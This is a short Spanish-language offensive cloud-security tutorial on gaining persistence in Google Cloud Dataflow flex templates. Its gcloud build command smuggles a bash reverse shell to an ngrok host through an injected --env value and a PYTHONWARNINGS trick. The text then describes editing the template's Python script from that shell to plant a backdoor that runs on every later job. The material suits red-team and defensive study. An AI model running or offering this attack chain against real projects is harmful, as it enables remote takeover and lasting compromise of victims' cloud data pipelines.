GCP - Dataflow Persistence

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Dataflow

Persistencia invisible en contenedor construido

Siguiendo el tutorial de la documentación puedes crear un nuevo (por ejemplo, python) template flexible:

git clone https://github.com/GoogleCloudPlatform/python-docs-samples.git
cd python-docs-samples/dataflow/flex-templates/getting_started

# Create repository where dockerfiles and code is going to be stored
export REPOSITORY=flex-example-python
gcloud storage buckets create gs://$REPOSITORY

# Create artifact storage
export NAME_ARTIFACT=flex-example-python
gcloud artifacts repositories create $NAME_ARTIFACT \
--repository-format=docker \
--location=us-central1
gcloud auth configure-docker us-central1-docker.pkg.dev

# Create template
export NAME_TEMPLATE=flex-template
gcloud dataflow $NAME_TEMPLATE build gs://$REPOSITORY/getting_started-py.json \
--image-gcr-path "us-central1-docker.pkg.dev/gcp-labs-35jfenjy/$NAME_ARTIFACT/getting-started-python:latest" \
--sdk-language "PYTHON" \
--flex-template-base-image "PYTHON3" \
--metadata-file "metadata.json" \
--py-path "." \
--env "FLEX_TEMPLATE_PYTHON_PY_FILE=getting_started.py" \
--env "FLEX_TEMPLATE_PYTHON_REQUIREMENTS_FILE=requirements.txt" \
--env "PYTHONWARNINGS=all:0:antigravity.x:0:0" \
--env "/bin/bash -c 'bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/13355 0>&1' & #%s" \
--region=us-central1

Mientras se está construyendo, obtendrás un reverse shell (podrías abusar de las variables de entorno como en el ejemplo anterior o de otros parámetros que configuran el archivo Docker para ejecutar cosas arbitrarias). En este momento, dentro del reverse shell, es posible ir al directorio /template y modificar el código del script principal en python que se ejecutará (en nuestro ejemplo, este es getting_started.py). Establece tu backdoor aquí para que cada vez que se ejecute el trabajo, se ejecute.

Luego, la próxima vez que se ejecute el trabajo, se ejecutará el contenedor comprometido construido:

# Run template
gcloud dataflow $NAME_TEMPLATE run testing \
--template-file-gcs-location="gs://$NAME_ARTIFACT/getting_started-py.json" \
--parameters=output="gs://$REPOSITORY/out" \
--region=us-central1

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